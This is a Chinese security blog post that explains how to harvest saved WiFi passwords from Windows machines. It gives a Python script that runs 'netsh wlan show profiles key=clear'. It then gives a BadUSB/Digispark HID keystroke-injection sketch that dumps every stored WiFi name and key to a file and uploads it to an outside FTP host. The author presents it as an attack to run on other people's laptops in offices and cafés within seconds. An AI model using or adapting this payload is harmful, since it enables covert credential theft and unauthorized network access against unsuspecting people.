本文作者:hodit/98(信安之路无线安全小组)
无线的时代已经来临,是他让我们感受到了没有线的束缚的感觉,随之而来的安全问题就越来越多,如今主流的 WiFi 密码破解手法如:跑字典丶钓鱼 WiFi 他们都是有自己的优缺点,跑字典需要大量的字典数据和算力的设备进行跑,钓鱼 WiFi 需要长时间的等待。而这些破解手法还不一定能百分之百能破解目标 WiFi,接下来我们将使用一种非常简单的手法进行收集 WiFi 密码和 WiFi 名字。
上一篇文章中《打造属于自己的渗透神器2》中有讲到可以使用 dos 命令进行自动寻找 WiFi 密码,而今天为我们就来实现。我们都知道一个 WiFi 是有信号范围的如果我们要破解这个 WiFi 就需要在这个区域,当然我们这个攻击也是需要,电脑中有一个查询电脑之前连接过哪些 WiFi 密码的 DOS 命令。
这里显示的都是这台电脑到目前为止连接过的 WiFi 密码,当我们要显示出来某一个的时候, 如图:
他会出现一些这个 WiFi 的信息我们在往下面看:
出现了我们想要的东西,也就是我们想要的密码。那接下来我们就要整理思路了!
整理完思路就可以动工了!!!
import os
import re
wifi=('netsh wlan show profiles ')
#name=Hello World key=clear
with os.popen(wifi) as f:
wifiname_list=[]
for line in f:
if'所有用户配置文件 :'in line:
#print(line)
line= line.strip()
wifiname= line.split(':')[1]
wifiname_list.append(wifiname)
print(wifiname_list)
for i in wifiname_list:
get=('netsh wlan show profiles name={} key=clear').format(i)
withos.popen(get) asr:
print(r.read())
r.close()
#可以自己添加一些语句把输出保存到U盘或者某个地方(感谢群里面的小姐姐对本代码的修改和审核--CTF 小姐姐)
当运行完以后出现了我们想要的结果
可是这个时候不知道你们有没有想过当我在目标电脑上面运行这个程序,至少需要目标电脑的人不再电脑旁一分钟左右,为什么呢?你需要把这个程序安装到目标电脑上面运行然后保存目标电脑上面的全部 WiFi 连接数据或者拷贝到 u 盘里面而这些都是需要时间的,而且还有可能给查杀。
那么有方法可以在极短的时间里面把目标电脑上面的全部WiFi数据发送到一个地方呢?
当然有
我们就会想到和 HID 攻击进行组合,那 HID 攻击是什么意思?
HID 是 Human Interface Device 的缩写,由其名称可以了解 HID 设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过 HID 设备并不一定要有人机接口,只要符合 HID 类别规范的设备都是 HID 设备。一般来讲针对 HID 的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
这个时候我们思路就要变化了:
1.Teensy ++ 2.0 (硬件)30-50 块钱
2.Teensyduino 插件
3.arduino 环境
4.Digispark ATtiny (本项目用到的环境,在之前的文章中有提到《打造自己的渗透神器》)
既然是 HID 攻击那我们就需要知道键盘输入的语句
Arduino 提供了以下键盘函数
#include //包含键盘模块的头文件
Keyboard.begin(); //开启键盘通信
Keyboard.press(); //按下某个键
Keyboard.release();//释放某个键
Keyboard.println(); //输入某些内容和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车可能和版本有关 不要不要担心有办法回车
Keyboard.end(); //结束键盘通信
攻击程序:
void setup() //初始化函数
{
delay(500);
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print("E:");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print("netsh wlan show profile name=* key=clear > stealer.txt");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
Keyboard.print("ftp -i 009.3vftp.com"); // ftp服务器地址
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.print("your username"); //ftp账号 Keyboard.press(KEY_RETURN); Keybo
ard.release(KEY_RETURN);
delay(1000);
Keyboard.print("your password"); //ftp密码 Keyboard.press(KEY_RETURN); Keybo
ard.release(KEY_RETURN);
delay(1000);
Keyboard.print("put stealer.txt"); delay(3000); Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
}
void loop() { } //循环函数
当运行完以后, 如图:
目标电脑会向攻击者的 ftp 地址发送之前保存的全部 WiFi 密码和名字,我们会发现此次攻击只花费了 0.47 秒就完成了寻找本机全部 WiFi 密码并且保存和上传。
这种攻击方法比较隐蔽而且危害性比较大,例如你是某企业的高管每天带着电脑去个个地方开会,连接每一个开会场所的无线网络,你的电脑会保存到很多地方的 WiFi 密码和名字,只要让攻击者接触你电脑 2-3 秒就可以完成对你这一台电脑的 WiFi 密码和 WiFi 名字的收集并且上传,当攻击者连接上就可以做他想做的事情。而这种攻击手法非常适合在会议室丶办公室丶咖啡厅等等这些地方,只需要抓到几秒的时间就可以完成攻击。
不知道这样的演示给你们带来了什么样的思考,给我的思考就是安全也就是那么眨眼间的事情,既然可以收集WiFi密码那也就是可以收集电脑里面的数据进行上传。